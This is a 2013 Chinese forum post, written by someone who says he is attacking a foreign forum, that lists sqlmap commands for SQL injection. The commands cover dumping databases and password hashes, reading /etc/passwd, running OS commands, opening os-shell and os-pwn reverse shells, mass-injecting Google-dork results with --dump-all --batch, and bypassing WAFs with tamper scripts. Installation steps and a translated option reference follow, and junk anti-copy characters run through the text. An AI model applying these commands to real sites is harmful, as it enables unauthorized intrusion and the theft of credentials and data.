找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2625|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
: B* c' {, \0 K, g8 c: Isqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称5 Q# U$ H. _% ]
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名0 u& Z: p( b% E
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
& f9 k3 O* I0 x1 {  Q! p : ]7 G% _1 H+ \- |9 ~
sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
1 e  X0 s# T8 ~& g9 j0 #获取字段内容5 S. T# M% D) k" H  h9 |
6 Y& X4 L1 W1 I  J
******************信息获取******************
' h  P" n1 h7 f; u! lsqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型" G3 @" q: j% C" A8 h
sqlmap -u “http://url/news?id=1″ –users #列数据库用户9 _' {* o+ k# }# h
sqlmap -u “http://url/news?id=1″ –dbs#列数据库  [* O+ W3 k0 ?% ]* X
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码! w9 f4 x. Z: w& i: Z, y1 h, F
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
# @4 z9 y$ @% Msqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”  j! V% k+ i1 H) _
–start 1 –stop 20 #列出指定字段,列出20 条
' d& f* U1 s  j( a' V4 v7 nsqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表# s2 s9 \6 [$ g( W; x% E& `! T
sqlmap -u “http://url/news?id=1″ –privileges #查看权限7 s8 z" h, P8 b
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
1 c1 B/ X$ N" ]2 C2 ^( _sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)$ n- l  L; P# ^* D
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表$ m1 R, f( u$ q
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录, S8 y' K8 M6 S7 L7 |! {% T& c, t
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入; R: D/ `8 h9 v* O; R& Y' {; i
sqlmap -u “http://url/news?id=1″-b #获取banner信息
* p. ~/ h! v; Wsqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
! x3 d, k& w  z) asqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型) y: N% e9 `/ l1 G
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
5 ]5 q% r- H1 @. i% g7 d! e4 wsqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词) `. z% y; m; |+ u
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令) V, H9 {% R# d& I" y! |1 S
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
- E7 B1 @6 y/ Bsqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令$ q& q. g* m* C
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell6 L( E5 D# s: w) a& P0 M* C" @
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表2 [# q/ Q5 G2 W2 _, i2 D- _
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
5 `2 _9 m. E$ _) a; N+ t, h( `sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度: O; g" N7 l1 l& j+ f1 G% s; K% ]
***********高级用法*************. k( E( w* o- x$ Z+ x  A4 U
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
7 U+ N( c+ x+ w: b- N' Psqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问- _2 h+ m, T) R5 v  q
–technique   测试指定注入类型\使用的技术! r+ W$ f1 k2 \% Y
不加参数默认测试所有注入技术7 a6 G" Y' R! W2 P3 f
•     B: 基于布尔的SQL 盲注
! q4 W( ?7 Y3 Q+ e2 ?3 h•     E: 基于显错sql 注入
2 u4 `; f2 T2 Z•     U: 基于UNION 注入
$ r. z& Q  ^" c1 j/ y- F•     S: 叠层sql 注入
* O% Y1 O. R. O0 R  P9 P( s) y•     T: 基于时间盲注
' F5 d8 y2 V2 L0 x* |/ R9 k–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()! n* u& A  @. l+ Q
–tamper 插件所在目录" V9 z2 p; t" B- H! b6 P
\sqlmap-dev\tamper% \- y6 T( u: p2 K# L; `& j) B
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
& c' s0 F- f' ilevel 执行测试等级 攻击实例:' U3 d! a+ G2 y0 a
Sqlmap -u “http://url/news?id=1&Submit=Submit”7 Q8 Q- @4 _! K8 B
–cookie=”PHPSESSID=41aa833e6d0d
1 P9 @( v$ q& Z/ a28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
) C( R2 p) D* J, b* w% R0 p5 l–password
4 Z# p# c- Z2 [3 x9 |参考文档:http://sqlmap.sourceforge.net/doc/README.html
" |# j9 k# j! h6 ^. c9 K$ k1 ^***********安装最新版本*************$ J: s7 B$ Q7 J+ q$ {& p
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版0 ]7 U# _8 Y- F7 [3 ^
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev+ X9 J+ T- I; Z* }( u/ V$ G
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
& C9 @! H1 s( Vsudo vim /home/当前用户/.bashrc
- _$ x- {6 t; ~#任意位置加上:
& h- J) L/ g2 falias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效  [7 ?) l% W1 |) _* J4 ?) O( [
如果想对所有用户有效 可设置全局 编辑下面的文件
3 R7 B, Z. _! B  cvim /etc/profile
7 O/ l1 J2 a; M% U同样加上:
4 H, ]( _$ t1 ]3 Talias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效5 d8 Z5 K! _4 j/ o9 V8 X
******************windows 7 (x64) sqlmap install (SVN)************( [3 i# @$ J! t* W' ~+ y
http://www.python.org/getit/ 安装python, z& A+ H& [1 Q8 b
http://www.sliksvn.com/en/download 安装windows svn client
; r7 |# R  u. ~7 x6 B* m3 j' ysvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
5 b9 D/ F: ], E" v6 X& k, T安装sqlmap
" P  H5 w6 H% v0 r* p( S*修改环境变量+ H% Q% S& {4 ?/ G4 e- K
–version             显示程序的版本号并退出2 K8 ?0 e- @6 R) b3 D' v
-h, –help            显示此帮助消息并退出
0 |9 ~! ?' Z& a- E; t8 ?-v VERBOSE            详细级别:0-6(默认为1)2 Q# f2 Y+ }/ w' ^5 i% [: \
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。3 Q% S9 H! w' a( F! K
-d DIRECT           直接连接到数据库。# H7 W! E2 z2 L$ I8 D
-u URL, –url=URL   目标URL。
9 i' O; c, l. y8 F-l LIST             从Burp 或WebScarab 代理的日志中解析目标。0 x9 t, V* L! w1 G! j
-r REQUESTFILE      从一个文件中载入HTTP 请求。& Y$ \8 ]/ E/ E3 ^, E
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。/ _5 ?9 N8 L4 m9 W
-c CONFIGFILE       从INI 配置文件中加载选项。
- w) v/ _+ e8 j  c( f7 eRequest(请求)::
8 ?( q' P: \; `3 O. O/ F5 w这些选项可以用来指定如何连接到目标URL。
8 B, D0 P5 B8 o6 E–data=DATA         通过POST 发送的数据字符串% |: z# R9 D0 X9 g$ [! U
–cookie=COOKIE     HTTP Cookie 头# x# L' B4 ?# A( S. |$ m9 l
–cookie-urlencode  URL 编码生成的cookie 注入8 Z) n% \& y# K# E- s
–drop-set-cookie   忽略响应的Set –Cookie 头信息1 d2 I$ e4 \) X& r4 g
' O; m* ^% M4 ^* l- G* W+ T# s2 L
–user-agent=AGENT  指定  HTTP User –Agent 头7 g" a$ C0 B0 b5 u
–random-agent      使用随机选定的HTTP User –Agent 头8 M+ _, E8 o* R' ]/ @+ A7 t% s
–referer=REFERER   指定  HTTP Referer 头0 Y  c8 |6 m! n+ r! V) q! p
–headers=HEADERS   换行分开,加入其他的HTTP 头
+ \, \3 d6 I3 q& p% k–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)0 C+ h3 X  R* ~9 l  k% L
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)* t0 o- n5 q! y+ y6 b, F
–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)4 p' g, C( U/ C$ f
–proxy=PROXY       使用HTTP 代理连接到目标URL
$ E) v- K# m2 R' w–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)/ i  w5 S* X8 B& s% }% Q
–ignore-proxy      忽略系统默认的HTTP 代理, A8 e2 o4 N+ W) g
–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
1 e6 A$ n* l( r+ D* V/ }–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)+ }( P6 ?" G7 i" l
–retries=RETRIES   连接超时后重新连接的时间(默认3)
* M4 E, S6 T3 _2 n1 v2 k–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
1 B7 ]- e3 O( e" p7 i, a* ?! ]5 ?–safe-url=SAFURL   在测试过程中经常访问的url 地址
& @, K5 T+ \7 c, q; F7 G–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL
# F$ W6 i6 R  Z, `+ wOptimization(优化): 这些选项可用于优化SqlMap 的性能。
5 e' t/ Q9 w9 i% g* ~-o                  开启所有优化开关8 o2 F! s$ y/ W) ]1 X) ]- y( C
–predict-output    预测常见的查询输出' `+ _; S7 l" S2 V
–keep-alive        使用持久的HTTP(S)连接0 A* O$ V) \+ R/ ^5 Q
–null-connection   从没有实际的HTTP 响应体中检索页面长度
4 }3 b$ b; _- ~5 ?–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
5 d8 \. m; o2 ^& m3 C! |& `Injection(注入):3 ]* [: Z, o/ q* {+ \$ w1 a9 G0 B& q
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。
% I) l% k) L' g, e' {-p TESTPARAMETER    可测试的参数(S)+ J2 s+ L, X* L/ K1 |( i7 ~  L
–dbms=DBMS         强制后端的DBMS 为此值
& u5 p+ Z+ o4 s9 q; j0 b( X- J–os=OS             强制后端的DBMS 操作系统为这个值3 x! o# k$ e$ ^9 P$ s$ C
–prefix=PREFIX     注入payload 字符串前缀
# P$ q0 H9 M0 X" }" f–suffix=SUFFIX     注入 payload 字符串后缀! |1 G. s! ?7 p* j6 r9 P
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据
2 ?0 \6 h% k% N% Q% o+ ~Detection(检测):
: t  e8 V1 f( E: g这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。! P9 a" ]7 |$ }
–level=LEVEL       执行测试的等级(1-5,默认为1)( u& }5 K% A* x& N. B) U7 i% @
–risk=RISK         执行测试的风险(0-3,默认为1)% i8 M' a, O0 I, e
–string=STRING     查询时有效时在页面匹配字符串
' H7 p3 X  v3 w–regexp=REGEXP     查询时有效时在页面匹配正则表达式
7 M2 ]/ P1 u/ [: i–text-only         仅基于在文本内容比较网页
2 E$ I. f+ L+ ~; v) z- \; fTechniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
( w% K4 a4 ]& ?& ~" k7 \& ~–technique=TECH    SQL 注入技术测试(默认BEUST)
$ G1 [% W1 f0 c! y; F) i–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)1 ]7 E# _6 G3 [) j4 J3 Z* d0 }! @
–union-cols=UCOLS  定列范围用于测试UNION 查询注入  }0 `/ q* D6 X1 K
–union-char=UCHAR  用于暴力猜解列数的字符
8 \/ Z5 [; ^. r' N+ k& n0 q5 IFingerprint(指纹):/ I* ], g# w4 p6 f  m/ {
-f, –fingerprint     执行检查广泛的DBMS 版本指纹
5 o' N0 Y" d2 a: \9 b/ zEnumeration(枚举):
7 i: p7 M8 b! n/ t $ K. b- F+ M# T: p/ Q
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
6 ?1 H, L* I1 ]5 q1 C( m-b, –banner        检索数据库管理系统的标识
# p  j1 }* Q6 X0 ]5 b, h. ~0 t–current-user      检索数据库管理系统当前用户
8 `% y8 S1 g) M# r& e–current-db        检索数据库管理系统当前数据库
5 g7 R' H1 `9 p5 D" S0 m2 A–is-dba            检测DBMS 当前用户是否DBA- I) T* f6 z" q' h' B6 q% ~
–users             枚举数据库管理系统用户& h# @) u* E' ~4 ]
–passwords         枚举数据库管理系统用户密码哈希5 G# n9 e% W2 z2 K7 N
–privileges        枚举数据库管理系统用户的权限
* B. B9 F' K2 Y–roles             枚举数据库管理系统用户的角色
' x0 ?* K# `* V" C, H5 \–dbs               枚举数据库管理系统数据库
" u$ J2 a3 \! F1 e4 J' S% u: q–tables            枚举的DBMS 数据库中的表
1 U4 d$ x8 r: {# \–columns           枚举DBMS 数据库表列$ m! y0 G9 H0 z8 a- S8 T; I
–dump              转储数据库管理系统的数据库中的表项7 R0 Y7 c# z% Z7 J- g
–dump-all          转储所有的DBMS 数据库表中的条目
% i6 x1 g2 D1 P–search            搜索列(S),表(S)和/或数据库名称(S)! t7 G; e+ ?( ~7 G( Z) W0 Z
-D DB               要进行枚举的数据库名& t* c" j+ S: v0 `$ s
-T TBL              要进行枚举的数据库表
+ q# e- X$ p' v2 x-C COL              要进行枚举的数据库列
$ g$ _( I2 J0 h  n; ]5 D: C-U USER             用来进行枚举的数据库用户  @1 A1 P; m+ ?
–exclude-sysdbs    枚举表时排除系统数据库
" q# w0 m9 p* |–start=LIMITSTART  第一个查询输出进入检索
) |8 N! h; k, O$ H5 Y7 w–stop=LIMITSTOP    最后查询的输出进入检索
, v  ?  R. e  }7 ?* [–first=FIRSTCHAR   第一个查询输出字的字符检索
. O" H5 q5 S8 b–last=LASTCHAR     最后查询的输出字字符检索
2 |5 |# M0 e7 [–sql-query=QUERY   要执行的SQL 语句
0 E$ Z6 ]. E8 Q) }; U" }–sql-shell         提示交互式SQL 的shell' ^2 }: f: O) Y, ?: X
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。/ o) M! k/ H8 J* ]! m, c
–common-tables     检查存在共同表3 A1 h) W7 V! @! K: F6 q
–common-columns    检查存在共同列3 m# J" m: M* W2 j6 N5 N4 w: {0 k
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
) r9 N* M, r% a–udf-inject        注入用户自定义函数
% O' G' ?5 m; ?9 I- L–shared-lib=SHLIB  共享库的本地路径: \4 f% \  y4 N" v" H
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
* J3 {  b4 b. x) Q–file-read=RFILE   从后端的数据库管理系统文件系统读取文件! P& r' r9 `  \$ q7 l4 R. ~  v
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件# E; F/ x+ z  m" R  K
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径) Y. B; R4 F# T+ U, D
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
; ^8 s. l5 d5 W' s–os-cmd=OSCMD      执行操作系统命令& c0 K/ g+ Q% |0 u  D# q! L
–os-shell          交互式的操作系统的shell
% j+ _  H. h+ p0 \$ I( o–os-pwn            获取一个OOB shell,meterpreter 或VNC
9 G3 H; ]  a& P–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC( T$ J% i1 X, A  I9 u0 W* l! P
–os-bof            存储过程缓冲区溢出利用. l- @  t! q) P* l& a# f4 B6 t
–priv-esc          数据库进程用户权限提升5 c: {9 L4 C/ M* Q+ @( J- I) ^! D
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
1 ~6 u. ~) K4 x- L* \–tmp-path=TMPPATH  远程临时文件目录的绝对路径! F% s2 E. ~6 o. c
& \# u2 ?, x) w# _4 |
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。; y2 E) P, ^* ^$ \6 J
–reg-read          读一个Windows 注册表项值: C4 G# G% y9 G9 L4 d6 R1 g2 d. Q
–reg-add           写一个Windows 注册表项值数据
, w4 t' Y5 N0 r/ D3 k–reg-del           删除Windows 注册表键值- Z( c9 C6 w6 F" G( ?' }8 C; m
–reg-key=REGKEY    Windows 注册表键0 P2 K- t- y% R" c1 [
–reg-value=REGVAL  Windows 注册表项值) M% W' {- B$ h- ]
–reg-data=REGDATA  Windows 注册表键值数据
1 N; ^# H1 r5 y- e7 i) d–reg-type=REGTYPE  Windows 注册表项值类型6 R) b# H$ V" s, c! z3 y
General(一般): 这些选项可以用来设置一些一般的工作参数。
, V. I  B2 f+ M0 F-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中3 C+ S% Y6 G0 _4 K4 P
-s SESSIONFILE      保存和恢复检索会话文件的所有数据
: u; O: i) |, ?6 |–flush-session     刷新当前目标的会话文件
6 E$ T8 b# r4 q; p7 [) l* G4 B–fresh-queries     忽略在会话文件中存储的查询结果
+ r7 f& [) K/ u0 l–eta               显示每个输出的预计到达时间0 S0 d0 P! \& {6 q7 `- R2 I5 q+ [+ D
–update            更新SqlMap" q2 [8 a+ C! ?0 r
–save              file 保存选项到INI 配置文件5 Z9 {/ G5 k+ N" ]
–batch             从不询问用户输入,使用所有默认配置。3 S  V$ U/ g6 h: t# i8 u
Miscellaneous(杂项):
, F  B8 h8 `9 B' V: L–beep              发现SQL 注入时提醒1 g0 `! ^" L* i% |  _2 a
–check-payload     IDS 对注入payloads 的检测测试/ A' n" f+ j8 }) e: \! K
–cleanup           SqlMap 具体的UDF 和表清理DBMS# p3 a) `& v; p, O2 t7 i, \: C! c
–forms             对目标URL 的解析和测试形式
2 S! ~8 P& \; G0 ^. u( f–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
7 u8 f" I$ W5 ]/ R/ N' H, A–page-rank         Google dork 结果显示网页排名(PR)9 \9 l. ^% g% t5 W) @$ @
–parse-errors      从响应页面解析数据库管理系统的错误消息' b, Q9 a/ Y3 {6 O) z( \
–replicate         复制转储的数据到一个sqlite3 数据库2 {/ y- r5 L5 d: u" \: s6 z
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
; m7 B! [6 L$ j–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表